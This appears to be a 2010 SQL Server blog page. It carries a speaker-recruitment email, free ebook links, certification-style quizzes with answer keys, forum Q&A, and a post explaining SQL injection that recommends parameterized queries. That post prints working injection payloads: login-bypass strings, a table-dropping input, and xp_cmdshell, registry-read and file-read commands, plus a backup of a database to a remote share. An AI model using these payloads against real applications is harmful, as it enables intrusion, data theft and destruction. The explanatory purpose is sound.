Inviting Speakers for Microsoft Products & Technologies

Dear IT Professional, In past you might have attended Virtual Tech Days, Community Tech Days, Webcasts, User group meets & many other community events where you get to learn a good deal on Microsoft products and technologies like Windows, Office, SQL Server, SharePoint, BizTalk .NET and many other fascinating technologies. Peopleware India has organized many such events in association with SQLServerGeeks & regional user groups like DelhiITPro, MumbaiITPro, BITPro, etc. We at Peopleware India are now in the process of organizing the next level of similar community events across India and you as a budding speaker are invited to deliver technical sessions at these events. As a community speaker with Peopleware India, you will get an opportunity to showcase your technical expertise to a wide variety of audience. You will get an opportunity to speak at events and lead online webcasts. You will also have the leverage of  promoting yourself, your blogs and your articles. As a speaker with Peopleware India, you will be noticed by Microsoft India executives and you may possibly become a recipient of many community awards like MVP, Community contributor, etc. Peopleware India will provide you good support in form of speaker resources and other assistance that you may require. In an nutshell, this is an opportunity to rise to the next level and be known to your peers & IT audience pan-India. Above all, this is your opportunity to give back something to the society in form of education. We are looking for promising speakers from all parts of India including Mumbai, Pune, Bangalore, Chennai, Kolkata, Noida, Gurgaon, Delhi, Ahmadabad, Hyderabad and many other cities. If you specialize in any Microsoft product or technology this is the place to be. As a speaker, you will be required to deliver sessions on your area of expertise. If you are interested in exploring further, reply to this email with the following details: Name: City: Technical expertise: Cell number: Email id: Have you been a speaker before? (If ye, give details): How much do you rate yourself out of 10 in presentation skills?: How much do you rate yourself out of 10 in your area of expertise?: Company (optional): We look forward to hear from you. Thank you for your patience in reading this. Please forward this mail to your colleagues & friends, in case you think they might be interested. Best Regards Peopleware India Community Team www.peoplewareindia.com (Please note that this is a community initiative by Peopleware India. This is not a job opening. There is no commercial aspect to any part of this communication. This is all about serving the society. You have received this communication since you might have attended any of our technical events in the past. Please also note that you will not receive any more “Inviting Speakers” related emails thus unsubscribing is not necessary)

Microsoft Virtual TechDays - 22nd - 24th Nov

Unable to view the update? click here 80 Deep Technical Sessions across 3 days Dedicated tracks for Architects, Software Developers / Project Managers, Infrastructure Managers / Professionals andEnterprise Developers.   Block your calendar and tune in for the 10th edition of Virtual TechDays between 22nd and 24th November, 2010. Get trained on some of the key technology domains that you work on as a part of your day-to-day work. Key topics to be covered include:   Client Development Mobile Application Development Web Application Development Cloud Computing Database Development & Management Collaboration & Productivity Security & Identity  Virtualization   Remember, apart from the insightful sessions that you can attend, it’s also a great opportunity for you to interact and have your questions answered by the people who build and work on these technologies. The event is absolutely FREE. So, why wait?

Download SQL Server ebooks for free

You can download the following ebooks and enhance your SQL knowledge.

SQL Server Team-Based Development

By Phil Factor, Grant Fritchey, Alex Kuznetsov, and Mladen Prajdić

This book shows how to use of a mixture of home-grown scripts, native SQL Server tools, and tools from the Red Gate SQL Toolbelt, to successfully develop database applications in a team environment, and make database development as similar as possible to "normal" development.

Following are the topics covered in this book:

Chapter 1: Writing Readable SQL

Chapter 2: Documenting your Database

Chapter 3: Change Management and Source Control

Chapter 4: Managing Deployments

Chapter 5: Testing Databases

Chapter 6: Reusing T-SQL Code

Chapter 7: Maintaining a Code Library

Chapter 8: Exploring your Database Schema

Chapter 9: Searching DDL and Build Scripts

Chapter 10: Automating CRUD

Chapter 11: SQL Refactoring

http://www.red-gate.com/specials/Ebooks/teamdevelopment.htm

SQL Server Tacklebox

Essential Tools and Scripts for the day-to-day DBA

By Rodney Landrum

The book focuses on these topics:

1.      Installing SQL Server

2.      SQL Server Documentation

3.      How to Move Data Into and Out of SQL Server

4.      How to Manage Data Growth

5.      How to Use System Tables and DMVs to Investigate What SQL Server is Doing

6.      Monitoring and Notification

7.      Security Monitoring

8.      Finding and Fixing Data Corruption

http://www.red-gate.com/products/sql_Monitor/offers/monitor_tacklebox.htm

"Brad's Sure Guide to SQL Server Maintenance Plans"

Brad’ Sure Guide to SQL Server Maintenance Plans is now available as a free, 269 page PDF eBook. The book is designed for part-time or novice DBAs who want to learn how to properly create Maintenance Plans using the tools that come with SQL Server Management Studio (SSMS) in SQL Server 2005/2008.

These two tools include:

• Maintenance Plan Wizard – a Wizard that steps the user through the process of setting up basic Maintenance Plans, with limited options.
• Maintenance Plan Designer – a drag-and-drop GUI interface in SSMS that facilitates the design and creation of more flexible, customizable maintenance plans.

http://www.red-gate.com/products/SQL_Backup/offers/backup_maintenance_plans.htm?utm_source=sqlaloha&utm_medium=blogpost&utm_content=maintenance201001&utm_campaign=sqlbackup

Defensive Database Programming

By Alex Kuznetsov

The goal of Defensive Programming is to produce resilient code that responds gracefully to the unexpected.

To the SQL Server programmer, this means T-SQL code that behaves consistently and predictably in cases of unexpected usage, doesn't break under concurrent loads, and survives predictable changes to database schemas and settings.

Inside this book, you will find dozens of practical, defensive programming techniques that will improve the quality of your T-SQL code and increase its resilience and robustness.

http://www.red-gate.com/specials/Ebooks/defensive_database_programming.htm

Introducing Microsoft SQL Server 2008 R2

By Ross Mistry and Stacia Misner!

The book contains 10 chapters and 216 pages, like so:

PART I   Database Administration

CHAPTER 1   SQL Server 2008 R2 Editions and Enhancements 3
CHAPTER 2   Multi-Server Administration 21
CHAPTER 3   Data-Tier Applications 41
CHAPTER 4   High Availability and Virtualization Enhancements 63
CHAPTER 5   Consolidation and Monitoring 85

PART II   Business Intelligence Development

CHAPTER 6   Scalable Data Warehousing 109
CHAPTER 7   Master Data Services 125
CHAPTER 8   Complex Event Processing with StreamInsight 145
CHAPTER 9   Reporting Services Enhancements 165
CHAPTER 10   Self-Service Analysis with PowerPivot 189

http://blogs.msdn.com/b/microsoft_press/archive/2010/04/14/free-ebook-introducing-microsoft-sql-server-2008-r2.aspx

Enjoy Reading!!!


 

Simple questions on DML and DDL Triggers

Triggers contain code that automatically runs in response to events within the database. Triggers cannot be called or executed manually. DDL trigger is a new feature in SQL Server 2005. You expect questions on this for your certification exams.

Questions:

1.       Which of the following statements are valid for using inside a trigger?

A.      INSERT

B.      ALTER DATABASE

C.      RESTORE DATABASE

D.      CREATE INDEX 

2.       You are supposed to validate data entry and return error message for invalid data. How will you achieve this with minimum effort?

A.      Implement a DML trigger

B.      Include check constraints

C.      Implement DDL trigger

D.      Create a CLR function

3.       You need to import data to a table. If some rows are failed to import due to data validation.  Then you decide to create new table to collect the failed rows. How will you achieve this?

A.      Find the failed rows using a T-SQL query and insert into new table.

B.      Create a DML INSTEAD OF trigger to insert the failed rows to new table.

C.      Create a DML AFTER trigger to insert the failed rows to new table.

D.      Create a DDL AFTER trigger to insert the failed rows to new table.

4.       You are supposed to track who drops the table, procedures, views, databases. What will you do for that?
             A.      Check the application event log.
             B.      Create a DDL trigger.
             C.      Create a DML trigger.
             D.      Use System Stored Procedures.

 

5.       What type of trigger is the following code represents?

CREATE TRIGGER trgTest

ON DATABASE

FOR DROP_TABLE, ALTER_TABLE

AS

PRINT 'Tables cannot be dropped'

ROLLBACK;

A.      DML AFTER trigger.

B.      DML INSTEAD OF trigger.

C.      DDL trigger – Server scoped.

D.      DDL trigger-Database Scoped.

Show Answers:

1. A
2. A
3. B
4. B
5. D


Hide Answers (X).

Prevent SQL injection attacks and Data breach

A SQL injection attack is insertion of a SQL query through the input data to the application. It represents a serious threat to any database-driven site. SQL injection attacks are also known as SQL insertion attacks.

A SQL injection occurs when the application fails to properly validate user-supplied input used in SQL queries. In this way a hacker can manipulate the SQL statement that is passed to the database. This statement will run with the same permissions as the application that executed the query.

It is an instance of vulnerabilities that can occur whenever we use dynamic SQL.

Websites of many banks, credit unions, smaller online retailers, and many government agencies remain highly vulnerable to SQL injection attacks.

Some of the real world examples:

8th November 2010: (BBC News)

The Royal Navy's website has been hacked by a suspected Romanian hacker known as TinKode.

December 2009: (The New York Times)

An attacker breached a RockYou plaintext database containing the unencrypted usernames and passwords of about 32 million users using an SQL injection attack

Most of the application will have a login screen and we construct dynamic SQL statement with the screen input as follows:

SELECT *

FROM Users

WHERE login = 'bala' and password = 'dBa#1';

If the attacker modifies the user name supplied as bala' or 1=1; -- then the code will be as follows:

SELECT *

FROM Users

WHERE login = 'bala' or 1=1;

--and password = 'dBa#1';

If the above statement executes, the attacker can gain access to the database as 1=1 is always true.

The attacker could log on as any user, given that they know the users name, using the following input:

Username: admin'--

If the user specifies the following:

Username: '; drop table users--

Password:

the 'users' table will be deleted, denying access to the application for all users.

Not only this, a successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), and execute administration operations on the database (such as shutdown the service). Some of them are listed as follows:

select @@version	View database version.
select @@servername	Misc. information disclosure
select @@microsoftversion	Misc. information disclosure
select * from master..sysservers	Misc. information disclosure
select * from sysusers	View database usernames and passwords.
exec master..xp_cmdshell 'ipconfig+/all'	Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell 'net+view'	Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell 'net+users'	Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell 'ping+system-controlled-by-attacker'	Misc. command execution with cp_cmdshell – this is useful for blind SQL Injection tests (where no results are displayed).
BACKUP database master to disks='\\{IP}\{sharename}\backupdb.dat'	Backup entire database to a file. This attack can be used to steal a database.
create table myfile (line varchar(8000))" bulk insert foo from ‘c:\inetpub\wwwroot\auth.asp’" select * from myfile"–	Reading files on the filesystem.
xp_servicecontrol (START or STOP) <service>	Start and stop Windows Services.
str1 + str2 OR n+n	Concat strings for blind SQL Injection tests.

xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

SQL attacks were done manually. The hacker would try different database queries from the browser or from pages displaying web forms, until he successfully injected code into the underlying database. These types of attacks are still done, but on a smaller scale compared to the automated SQL infection/attacks that have come on strong.

To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, parameterized statements must be used (preferred), or user input must be carefully escaped or filtered.

Reference: http://blogs.technet.com/b/srd/archive/2008/05/29/sql-injection-attack.aspx

Question:

1.       Which of the following will protect your database against SQL injection attacks?

a)      Triggers.

b)      Views.

c)       Stored Procedures using parameters.

d)      Stored procedures not using parameters.

Show Answers:

1. (C)


Hide Answers (X).

Assorted Questions from SQL Server Forums

1. Writing query without using DISTINCT keyword:

Below is my table data.I want the result as 3.

col1
------
4
4
66
66
88

Result as
count
----
3

How to write a Query without using Distinct. Because I am running this query in SQL Mobile. In Sql Mobile edition there is no "distinct" keyword support.

The solution is as follows:

CREATE TABLE Table1(Col1 int);

INSERT INTO Table1
SELECT (4)
  UNION ALL SELECT (4)
  UNION ALL SELECT (66)
  UNION ALL SELECT (66)
  UNION ALL SELECT (88);

SELECT COUNT(*) FROM 
              (SELECT 0 AS c1
               FROM Table1 GROUP BY Col1) AS t1;
2. Which is better SP or Views?

Asking which is faster or better is like comparing the speed of a car with that of a boat - the speed difference is irrelevant, since you'll always prefer the boat if you travel over water, and always the car for travels over land.


VIEW: A view is a "virtual" table consisting of a SELECT statement, by means of "virtual"
I mean no physical data has been stored by the view -- only the definition of the view is stored inside the database; unless you materialize the view by putting an index on it.

1. By definition you can not pass parameters to the view.
2. NO DML operations (e.g. INSERT, UPDATE, and DELETE) are allowed inside the view; ONLY SELECT statements.

Most of the time, view encapsulates complex joins so it can be reusable in the queries or stored procedures. It can also provide level of isolation and security by hiding sensitive columns from the underlying tables.

Stored Procedure: A stored procedure is a group of Transact-SQL statements compiled into a single execution plan or in other words saved collection of Transact-SQL statements.

Here is a good summary from SQL MVP Hugo Kornelis (was posted in a newsgroup few years ago)
　
A stored procedure:

• accepts parameters
• can NOT be used as building block in a larger query
• can contain several statements, loops, IF ELSE, etc.
• can perform modifications to one or several tables
• can NOT be used as the target of an INSERT, UPDATE or DELETE statement.

　
A view:

• does NOT accept parameters
• can be used as building block in a larger query
• can contain only one single SELECT query
• can NOT perform modifications to any table
• but can (sometimes) be used as the target of an INSERT, UPDATE or DELETE statement.

　

>>Also is view plans are in plan cache or not? where are SPs plans are stored in cache and are always >>best for performance boost?

>>where are SPs plans are stored in cache and are always best for performance boost?

Yes execution plan for sps are stored in "plan cache" and in general it can boosts performance..

3. Stored Procedure - Standards and Best practices checking

Looking for an utility which can review stored .procedures for Standards, best practices etc. Env is SQL Server 2005 I can offer some manual hints:

4. Return only a single result set - unlike sp_monitor

http://www.sqlusa.com/sqlformat/http://www.sqlusa.com/bestpractices/training/scripts/parametersniffing/

1. Naming: prefix with "usp" or "sproc" - for example, uspInventoryUpdate

2. Add sproc comment block after "AS"

3. Make it safe from parameter sniffing:

5. Avoid nesting stored procedures because error control is difficult

6. Comment where needed

7. Format code for readability - auto formatter:

Simple Questions on Stored Procedures

The following mind map diagrammatically briefs about stored procedures. For an in-depth learning about the concepts, do search books on-line topics for stored procedures.

Questions:

1. Which of the following commands, a stored procedure can execute?

(a) USE
(b) Set Showplan_Text on
(c) Set Showplan_All on
(d) Both (b) and (C)
(e) None of the above.


2. You have noticed that a stored procedure is recompiled on each execution. The cause of recompilation is a simple query statement. How will you optimize the performance of your stored procedure with minimum effort?

(a) Create an additional stored procedure, and include the query that causes the recompilation. Call the new stored procedure from the new one.
(b) Add the RECOMPILE query hint to the query statement that causes the recompilation.
(c) Modify your stored procedure, and include the WITH RECOMPILE option in its definition.
(d) Use the sp_recompile system stored procedure to force the recompilation of your stored procedure the next time it runs.


3. Which one of the following option regenerates the query plan each time a stored procedure is executed?

(a) Recompile
(b) Encryption
(c) Execute As
(d) Varying


4. Which of the following can be used to recompile a stored procedure everytime it is running? (Choose all that apply.)

(a) Modify your stored procedure, and include the WITH RECOMPILE option in its definition.
(b) Add the RECOMPILE query hint to one of the stored procedure statements.
(c) Use the sp_recompile system stored procedure.
(d) Specify the WITH RECOMPILE option when you execute the stored procedure.


5. Your RTSdev database alerts you that the transaction log file is almost full. You suspect that one of the stored procedures has left a transaction open. Which one of the following can be used to ensure it?

(a) Execute DBCC TLOGFULL against the RTSdev database.
(b) Execute DBCC OPENTRAN against the temp database.
(c) Execute DBCC TLOGFULL against the temp database.
(d) Execute DBCC OPENTRAN against the RTSdev database.


6. The following script is used to create a stored procedure:

DECLARE @UserID int
BEGIN TRY
 BEGIN TRANSACTION
  DELETE From dbo.Users
  WHERE UserID = @UserID
 COMMIT TRANSACTION
END TRY
BEGIN CATCH
 DECLARE @errMsg nvarchar(300)
 SELECT @errMsg = ERROR_MESSAGE()
END CATCH

When execute the SP, you observe that it leaves open transactions. How will you modify the stored procedure?

(a) Add a ROLLBACK TRANSACTION to the CATCH block.
(b) Add a ROLLBACK TRANSACTION to the TRY block.
(c) Add a COMMIT TRANSACTION to the CATCH block.
(d) Add a COMMIT TRANSACTION to the TRY block.


7. If you need to create a stored procedure to perform some calculation-intensive operations and then return the results as quickly and efficiently as possible. How will you achieve that?

(a) Use parameters within the stored procedures.
(b) Use a TRY CATCH block within the stored procedure.
(c) Use a CLR-integrated stored procedure.
(d) Create the stored procedure so it recompiles each time it is run.


Show Answers:

1. (a)
2. (b)
3. (a)
4. (a), (d)
5. (d)
6. (a)
7. (c)


Hide Answers (X).